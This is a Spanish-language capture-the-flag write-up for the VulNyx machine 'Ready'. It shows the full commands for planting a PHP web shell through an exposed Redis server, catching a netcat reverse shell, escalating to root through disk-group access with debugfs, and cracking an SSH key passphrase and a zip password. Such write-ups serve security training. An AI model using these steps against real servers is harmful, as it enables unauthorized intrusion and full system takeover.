VulNyx - Ready

logo

  • Redis RCE
  • Brute Force Rsa Key
  • Brute Force Zip
  • Group Disk

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.13

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis
8080/tcp open  http-proxy

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,6379,8080 192.168.1.13

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
|   256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_  256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open  redis   Redis key-value store 6.0.16
8080/tcp open  http    Apache httpd 2.4.54 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works

HTTP TCP - 80 | 8080

http

Redis TCP - 6379

Me conecto al servidor mediante la herramienta redis-cli.

❯ redis-cli -h 192.168.1.13
192.168.1.13:6379> 

Con info puedo ver una lista detallada del servidor.

192.168.1.13:6379> info
# Server
redis_version:6.0.16
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:6d95e1af3a2c082a
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:380
run_id:6672a331bccc173e6c8cd7a531d60b0e3091fd7e
tcp_port:6379
uptime_in_seconds:2364
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:16186469
executable:/usr/bin/redis-server
config_file:
io_threads_active:0

Para conseguir un RCE necesito conocer el directorio web, por lo que puedo asumir que será /var/www/html ya que es la ruta predeterminada de apache.

192.168.1.13:6379> config set dir /var/www/html
OK

Creo el archivo shell.php.

192.168.1.13:6379> config set dbfilename shell.php
OK

Añado el contenido al archivo shell.php.

192.168.1.13:6379> set shell "<?php system($_GET['c']); ?>"
OK

Guardo los cambios.

192.168.1.13:6379> save
OK

Visito el puerto 80 pero no hay nada.

http-shell-NF

Compruebo el puerto 8080 y aquí es donde esta la shell.php.

http-8080-shell

Como puedo ejecutar comandos lanzo un netcat para entablarme una reverse shell.

http-8080-netcat

Obtengo la shell.

❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.13] 40272
id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)

Realizo el tratamiento de la tty.

script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset xterm
export SHELL=bash
export TERM=xterm-256color
source /etc/skel/.bashrc
stty rows 50 columns 200

Enumero permisos de sudo pero es un rabbit hole.

ben@ready:/home/ben$ sudo -l
Matching Defaults entries for ben on ready:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ben may run the following commands on ready:
    (peter) NOPASSWD: /usr/bin/bash

PRIVESC

Enumerando el sistema veo que ben forma parte del grupo disk.

ben@ready:/home/ben$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)

En hacktricks explica como podemos obtener privilegios de root mediante el grupo disk.

Este privilegio es casi equivalente al acceso root ya que puedes acceder a todos los datos dentro de la máquina*.

df

Con which busco el binario debugfs y luego monto la unidad /dev/sda1.

debugs

Una vez montada la unidad /dev/sda1 puedo leer la llave rsa de root.

rsa_root

Como se puede apreciar la llave rsa esta protegida, así que usaré RSACrack para obtener el passphrase.

rsacrack

Me conecto como root.

❯ ssh root@192.168.1.13 -i root
Enter passphrase for key 'root': 
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
root@ready:~# 

La flag de root está comprimida en zip y protegia con contraseña.

root@ready:~# ls
root.zip

Descargo el archivo zip a mi máquina y genero un hash con zip2john para encontrar la contraseña.

❯ zip2john root.zip > hashRootZip
ver 2.0 efh 5455 efh 7875 root.zip/root.txt PKZIP Encr: TS_chk, cmplen=43, decmplen=32, crc=68F3F801 ts=91CA cs=91ca type=8

Encuentro la contraseña para poder descomprimir la flag.

❯ john hashRootZip --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
a*****y          (root.zip/root.txt) 

Decomprimo el archivo y finalmente obtengo la flag de root.

❯ unzip root.zip
Archive:  root.zip
[root.zip] root.txt password: 
  inflating: root.txt

Y con esto ya tenemos resuelta la máquina Ready.

Saludos!